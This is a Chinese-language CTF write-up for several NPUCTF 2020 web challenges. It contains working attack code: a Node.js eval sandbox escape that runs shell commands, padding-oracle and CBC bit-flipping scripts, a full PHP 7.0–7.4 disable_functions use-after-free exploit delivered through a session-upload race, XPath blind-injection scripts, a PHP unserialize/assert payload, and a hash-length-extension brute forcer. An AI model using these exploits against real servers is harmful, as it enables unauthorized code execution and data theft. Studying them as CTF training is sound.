2020 NPUCTF wp

首发sec-in:

https://www.sec-in.com/article/280

这两天没事打了一下西工大的校赛,以下是部分WEB题目的write up

查源码

右键不能用,直接在URL前面加上view-source:即可

验证马

考察点:node.js数组特性、利用链构造、bypass

题目:

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const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');

const fs = require('fs');
const crypto = require('crypto');

const keys = require('./key.js').keys;

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个

const template = fs.readFileSync('./index.html').toString();
function render(results) {
return template.replace('{{results}}', results.join('<br/>'));
}

const app = express();

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

app.use(cookieSession({
name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,给👴爪⑧
keys
}));

Object.freeze(Object);
Object.freeze(Math);

app.post('/', function (req, res) {
let result = '';
const results = req.session.results || [];
const { e, first, second } = req.body;
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
} catch (e) {
console.log(e);
result = 'Wrong Wrong Wrong!!!';
}
results.unshift(`${req.body.e}=${result}`);
}
} else {
results.unshift('Not verified!');
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});

app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
req.session.admin = req.session.admin || 0;
res.send(render(req.session.results = req.session.results || []))
});

app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});

拿到题后,发现这是根据前一阵子的ångstromCTF改的一道题,可参考文章:

https://www.sigflag.at/blog/2020/writeup-angstromctf2020-caasio/

首先是一层判断:

if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {

即传的值first的长度等于second的长度,但值不能相同,而且first+key的md5要等于second+key的md5,这里便考察了js的数组特性,当数组和字符串相加时,如果有多个值,会将数组先转换为以,拼接的字符串;如果只有一个元素,那么会直接转换为字符:

或者传递两个相同的数组,因为他们进行比较时,这两个数组的地址不一样,也会被认为不一样:

之后将我们传入的参数e进行检测,:

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function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
}

意思是如果匹配到数字(例如11.1)、数学运算符()+\-*/&|^%<>=,Math.xxx格式之外的字符串,便会进行eval执行,否则会返回null

我们可以使用Math.fromCharCode函数来将数字转为想要的字符串;然后通过global变量拿到exec函数,这一点有点类似python沙箱逃逸;之后便可执行任意命令;

构造payload:

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>>> encode = lambda code: list(map(ord,code))
>>> decode = lambda code: "".join(map(chr,code))
>>> encode("return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()")

将这个json数据发包即可拿到flag:

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{"e":"(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114, 101, 116, 117, 114, 110, 32, 103, 108, 111, 98, 97, 108, 46, 112, 114, 111, 99, 101, 115, 115, 46, 109, 97, 105, 110, 77, 111, 100, 117, 108, 101, 46, 99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114, 46, 95, 108, 111, 97, 100, 40, 39, 99, 104, 105, 108, 100, 95, 112, 114, 111, 99, 101, 115, 115, 39, 41, 46, 101, 120, 101, 99, 83, 121, 110, 99, 40, 39, 99, 97, 116, 32, 47, 102, 108, 97, 103, 39, 41, 46, 116, 111, 83, 116, 114, 105, 110, 103, 40, 41))()))(Math+1)", "first":[0],"second":[0]}

具体来看这个payload是啥意思:

1.箭头函数,实际就是匿名函数:

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x => x*x

//等同于
function (x){
return x*x;
}

2.IIFE,立即调用函数表达式:

那么这里便是传入Math,然后进行Math+1操作后传入函数中

3.利用了js原型链,一开始Math没有定义,它是一个object,进行加1操作后,就变成了string类型,fromCharCode函数必须是在string函数类型上调用

web狗

考察点:Padding Oracle Attack、CBC加解密

第一层题目:

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<?php  
error_reporting(0);
include('config.php'); # $key,********$file1*********
define("METHOD", "aes-128-cbc"); //定义加密方式
define("SECRET_KEY", $key); //定义密钥
define("IV","6666666666666666"); //定义初始向量 16个6
define("BR",'<br>');
if(!isset($_GET['source']))header('location:./index.php?source=1');


#var_dump($GLOBALS); //听说你想看这个?
function aes_encrypt($iv,$data)
{
echo "--------encrypt---------".BR;
echo 'IV:'.$iv.BR;
return base64_encode(openssl_encrypt($data, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)).BR;
}
function aes_decrypt($iv,$data)
{
return openssl_decrypt(base64_decode($data),METHOD,SECRET_KEY,OPENSSL_RAW_DATA,$iv) or die('False'); #不返回密文,解密成功返回1,解密失败返回False
}
if($_GET['method']=='encrypt')
{
$iv = IV;
$data = $file1;
echo aes_encrypt($iv,$data);
} else if($_GET['method']=="decrypt")
{
$iv = @$_POST['iv'];
$data = @$_POST['data'];
echo aes_decrypt($iv,$data);
}
echo "我摊牌了,就是懒得写前端".BR;

if($_GET['source']==1)highlight_file(__FILE__);
?>

加密时,IV已知,SECRET_KEY未知;解密时,IV和密文可控,解密成功返回1,失败返回FALSE

Padding Oracle攻击;直接看飘零大哥的文章:

https://skysec.top/2017/12/13/padding-oracle%E5%92%8Ccbc%E7%BF%BB%E8%BD%AC%E6%94%BB%E5%87%BB/#Padding-Oracle-Attack%E6%94%BB%E5%87%BB%E8%BF%87%E7%A8%8B

即我们可以通过构造IV值,利用服务器的返回值判断我们提交的内容能不能正常解密,从而知道解密出的明文的填充位符不符合填充标准;如果符合了,那么可由此得出经过秘钥解密后的值,从而推出正确的明文

CBC解密是,对于每一块消息,先解密消息的最后一个字节,然后解密倒数第二个字节,依次类推

假设8位一组,构造IV每一位都是\x00,Middle为经过秘钥解密后的值,那么对于倒数第一位,下面两个等式成立的情况下都是可以正常解密的:

Middle[8] ^ 初始IV[8] = plain[8]

Middle[8] ^ 构造IV[8] = 0x01

从而可推出:

plain[8] = 0x01 ^ 构造IV[8] ^ 初始IV[8]

对于第七位也就是倒数第二位,需要更新构造IV的最后一个字节的值:

IV[8] = Middle[8] ^ 0x02

爆破出所有Middle值后,和初始IV异或便可得到明文:

plain[8] = Middle[8] ^ 初始IV[8]

exp.py:

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import requests

secret = 'ly7auKVQCZWum/W/4osuPA=='
Middle = []
padding = ''

for x in range(1,17): # iv位
for y in range(0,256): # iv值
if y == 255: # 排错
exit()
IV = chr(0) * (16-x) + chr(y) + padding
url = 'http://webdog.popscat.top/index.php?source=0&method=decrypt'
data = {
'iv': IV,
'data': secret
}
res = requests.post(url, data=data)
res.encoding = res.apparent_encoding

if '1' in res.text: # iv值正确
padding = '' # 清空padding
Middle.append(y^x) # 添加Middle, Middle[x] == 构造IV[x] ^ 0xN == y ^ x
print(Middle)
for z in Middle:
padding = chr((x+1)^z) + padding # 重新计算padding生成新IV
break

a = ''
for i in Middle:
a += chr(i^ord('6')) # 注意是字符6,开始被这点坑着了...
print(a[::-1])

得到路径FlagIsHere.php,访问后进入下一关:

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<?php  
#error_reporting(0);
include('config.php'); //**************$file2********last step!!
define("METHOD", "aes-128-cbc");
define("SECRET_KEY", "6666666");
session_start();

function get_iv(){ //鐢熸垚闅忔満鍒濆鍚戦噺IV
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}

$lalala = 'piapiapiapia';

if(!isset($_SESSION['Identity'])){
$_SESSION['iv'] = get_iv();

$_SESSION['Identity'] = base64_encode(openssl_encrypt($lalala, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $_SESSION['iv']));
}
echo base64_encode($_SESSION['iv'])."<br>";

if(isset($_POST['iv'])){
$tmp_id = openssl_decrypt(base64_decode($_SESSION['Identity']), METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_POST['iv']));
echo $tmp_id."<br>";
if($tmp_id ==='weber')die($file2);
}

highlight_file(__FILE__);
?>

即已知SECRET_KEY,明文和密文;可控参数为IV,需要使解密后的值等于weber

一开始是这么想的,设解密后的中间值为Middle,那么:

由:

IV[1] ^ Middle[1] = plain[1]
//即 Middle[1] = IV[1] ^ plain[1]

且我们想要:

构造IV[1] ^ Middle[1] = 目标plain[1]

那么:

构造IV[1] = IV[1] ^ plain[1] ^ 目标plain[1]

但但但但但是,初始明文长度为12,目标明文长度为5,如果翻转的话,字节翻转后的长度还是12,长度对应不上了…

后来一想,由密文和IV异或会得到解密后的Middle值,我们拿这个Middle值去和目标明文异或,便可得到需要构造的IV;exp1.py:

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import base64

lalala = "piapiapiapia\x04\x04\x04\x04"; # 手动填充
IV = base64.b64decode('IudqzE2tdLMamTxuqFGENA==')
plain = 'weber\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b' # 手动填充
new_iv = bytearray(16)

for i in range(16):
new_iv[i] = ord(lalala[i]) ^ IV[i] ^ ord(plain[i])

print(new_iv)
print(base64.b64encode(new_iv))

第三关给了个HelloWorld.class文件,用java HelloWorld运行:

众所周知,你是一名WEB选手,掌握javaweb也是一项必备技能,那么逆向个java应该不过分吧?

拖进IDA打开,发现一堆ASCII码,转为字符后得到FLAG

超简单的PHP!!!超简单!!!

考察点:文件包含RCE、绕过disable_functions

首先,有个很明显的文件包含

尝试用php://filter读取/flag,未果,那么读取源码:

?action=php://filter/read=convert.base64-encode/resource=index.bak.php

得到:

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<?php 
session_start();
if(isset($_GET['action'])){
include $_GET['action'];
exit();
} else {
header("location:./index.bak.php?action=message.php");
}

可以看到这里未对include的文件名进行过滤,可以想到使用session包含或者上传临时文件进行包含;题目给了phpinfo:

看到session存储路径这一配置是没有值的,即采用了默认值,那么默认值一般是这些路径:

/tmp/
/var/lib/php/sessions/
...

使用脚本尝试发现正确路径为/tmp,然后开始使用var_dump(scandir('/'));(这里disable functions配置写错了,因此可以使用scandir)查看根目录路径,发现了flag文件但是无法读取,那么说明对权限做了限制,那么就要执行系统函数

对于disable_functions,网上有个利用php内核方面的exp,可以拿来直接bypass,项目地址:

https://github.com/mm0r1/exploits

这里直接将上面这个exp写到了/tmp目录下,写入后使用include来包含执行,这里为了方便将exp进行base64编码了两次;

脚本如下:

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import requests
import threading

url='http://ha1cyon-ctf.fun:30124/index.bak.php'
r=requests.session()
headers={
"Cookie":'PHPSESSID=123456'
}
def POST():
while True:
files={
"upload":'' #上传无效的空文件
}
'''
data={
"PHP_SESSION_UPLOAD_PROGRESS": \'''<?php echo 'asdf';var_dump(scandir('/tmp/'));file_put_contents('/tmp/b.php', base64_decode(base64_decode('<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable 
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("cat /F*");

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd); exit(); }'))); ?>\'''
}
'''
data={
"PHP_SESSION_UPLOAD_PROGRESS": '''<?php echo 'asdf'; include('/tmp/b.php'); ?>'''
}
r.post(url,files=files,headers=headers,data=data)

def READ():
while True:
event.wait()
t=r.get("http://ha1cyon-ctf.fun:30124/index.bak.php?action=/tmp/sess_123456", headers=headers)
if 'asdf' not in t.text:
print('[+]retry')
else:
print(t.text)
print('over')
event.clear()

event=threading.Event()
event.set()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()

RealEzPHP

考察点:反序列化、PHP特性、绕过disable_functions

题目:

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<?php 
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);

2020-04-20 02:06:48

简单的反序列化,接收两个参数,并动态调用类中的$b函数;在响应头中发现php7.0,那么可用assert函数执行任意代码,然后和上面思路一样,将bypass disable_functions的exp写到文件内然后包含执行;构造payload:

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<?php
class HelloPhp
{
public $a;
public $b;
}

$a = new HelloPhp();
#$a->a = 'highlight_file("/tmp/a.php")';
$a->a = 'include("/tmp/a.php")';
#$a->a = 'file_put_contents("/tmp/a.php", base64_decode(base64_decode($_POST["t"])))';
$a->b = "assert";
echo urlencode(serialize($a));

之后在当前进程环境变量中找到flag:

ezlogin

考察点:CSRF-Token绕过、XPATH盲注

以前做的注入题大多都是SQL的,然后这次想了想出了一道简单的XPATH注入题,许多师傅可能抓包看到了提交格式为XML(也算种提示),然后进行了XXE的测试,但这道题目进行了token验证,因此是行不通的;然后在登录的时候做了限制,开始想着用验证码的,不过怕被打…改成了token验证,验证流程为:每次访问的时候会将随机生成的token写入到session中,然后将token传到html页面的隐藏表单中,下一次请求时将表单token值与session存储的值进行对比,而且session失效时间设置为15s。因此只能在15s内登录1次,不能重放

那么通过写脚本构造随机的sessid,然后请求拿到对应的token,再使用这个sessid和token进行请求,便可进行正常测试

XPath是XML的路径语言,使用路径表达式来选取XML文档中的节点或者节点集,本道题目的XML内容为:

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<?xml version="1.0" encoding="UTF-8"?>

<root>
<accounts>
<user>
<id>1</id>
<username>guest</username>
<password>e10adc3949ba59abbe56e057f20f883e</password>
</user>
<user>
<id>2</id>
<username>adm1n</username>
<password>cf7414b5bdb2e65ee43083f4ddbc4d9f</password>
</user>
</accounts>
</root>

如果是随便输入的用户名,会显示用户名或密码错误;如果在username处输入:

1' or 1 or '

密码随便输入,会显示:

非法操作

一般注入语句为:

# 拿到一级标签内容
1' or substring(name(/*[position()=1]),{},1)='{}' or '1'='1
# 获得username标签中的内容
1' or substring(/root/accounts/user[2]/username/text(),{},1)='{}' or '1'='1

贴一下exp,写的比较烂师傅们看看就好:

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import requests
import string
import re
import random

url = 'http://127.0.0.1:10000/login.php'

dic = string.ascii_letters + string.digits

# 获取token和SESSID
def get_token():
headers = {
"Cookie":"PHPSESSID=" + str(random.randint(1,9999999999))
}
req = requests.get(url, headers=headers)
token = re.findall('"token" value="(.*?)"', req.text)[0]
return token, headers


def get_value(*params, position=1):
text = ''
# 获取各节点值
if len(params) == 0:
data = "<username>1' or substring(name(/*[position()=" + str(position) + "]),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>"
elif len(params) == 1:
data = "<username>1' or substring(name(/" + params[0] + "/*[position()= " + str(position) + "]),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>"
elif len(params) == 2:
data = "<username>1' or substring(name(/" + params[0] + "/" + params[1] + "/*[position()= " + str(position) + "]),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>"
elif len(params) == 3:
data = "<username>1' or substring(name(/" + params[0] + "/" + params[1] + "/" + params[2] + "/*[position()= " + str(position) + "]),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>"
elif len(params) == 4:
data = "<username>1' or substring(name(/" + params[0] + "/" + params[1] + "/" + params[2] + "/" + params[3] + "/*[position()=" + str(position) + "],{},1))='{}' or '1'='1</username><password>1</password><token>{}</token>"
# 获取用户名和密码
elif len(params) == 5:
#data = "<username>1' or substring(/root/accounts/user[2]/username/text(),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>"
data = "<username>1' or substring(/root/accounts/user[2]/password/text(),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>"

for i in range(1,40):
for j in dic:
token, headers = get_token()
headers["Content-Type"] = "application/xml"
payload = data.format(i, j, token)
res = requests.post(url, headers=headers,data=payload).text
if '非法操作' in res:
text += j
print(text)
break
return text

v1 = get_value()
print(v1)

v2 = get_value(v1)
print(v2)

v3 = get_value(v1, v2)
print(v3)

v4 = get_value(v1, v2, v3)
print(v4)

v4_1 = get_value(v1, v2, v3, position=2)
print(v4_1)
v4_2 = get_value(v1, v2, v3, position=3)
print(v4_2)

v5 = get_value(1,2,3,4,5)
print(v5)

拿到用户名和密码后,只需将密码md5解密后即可登录,登录后查看页面源码,发现提示

看到?file=welcome,尝试去访问/welcome,发现可以请求到这个文件,那么这里便可能存在文件包含;然后返回内容中不能出现flag,还对参数进行了检测,不能出现phpbaseread关键字,但没有检测大小写;这里直接给出最后的payload:

Php://filter/string.rot13/resource=/flag

ezinclude

考察点:hash扩展攻击、文件包含

<!--md5($secret.$name)===$pass -->

在response header中发现Cookie字段:

Hash=fa25e54758d5d5c1927781a6ede89f8a

尝试提交/?name=gtfly,神奇的是在header中返回了对应的hash,将密码替换上给出地址flflflflag.php,访问后发现跳转,那么抓包查看:

又是文件包含…和上面做法一样即可

用hash扩展攻击的做法

这里用了一个工具:

https://github.com/JoyChou93/md5-extension-attack

这个工具比较方便的是,只需要输入hash、追加的明文以及salt和原字符的长度即可生成相应payload:

由于这道题不知道salt长度,那么需要爆破,在同级目录写个exp.py:

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import os
import requests
import re

url = 'http://ha1cyon-ctf.fun:30170/'

def get_payload(length):
h = 'python md5pad.py fa25e54758d5d5c1927781a6ede89f8a admin {}'.format(length)
res = os.popen(h).read()
res = res.replace('\n', '')
return re.findall('urlencode: (.*)md5', res, re.S)[0]


for i in range(1000):
print(i)
payload = get_payload(i)
res = requests.post(url+'?name='+payload+'&pass=acda6a2e1f1765da03ca9a027dfdc40b').text
if 'error' not in res:
print(res, i)
break

爆破得到结果:

最后是一道java的题目,可惜太菜了java实在是不会…虽说比赛过程中有人搅屎平台老是down,但总的来说题目质量还不错,学到了不少东西。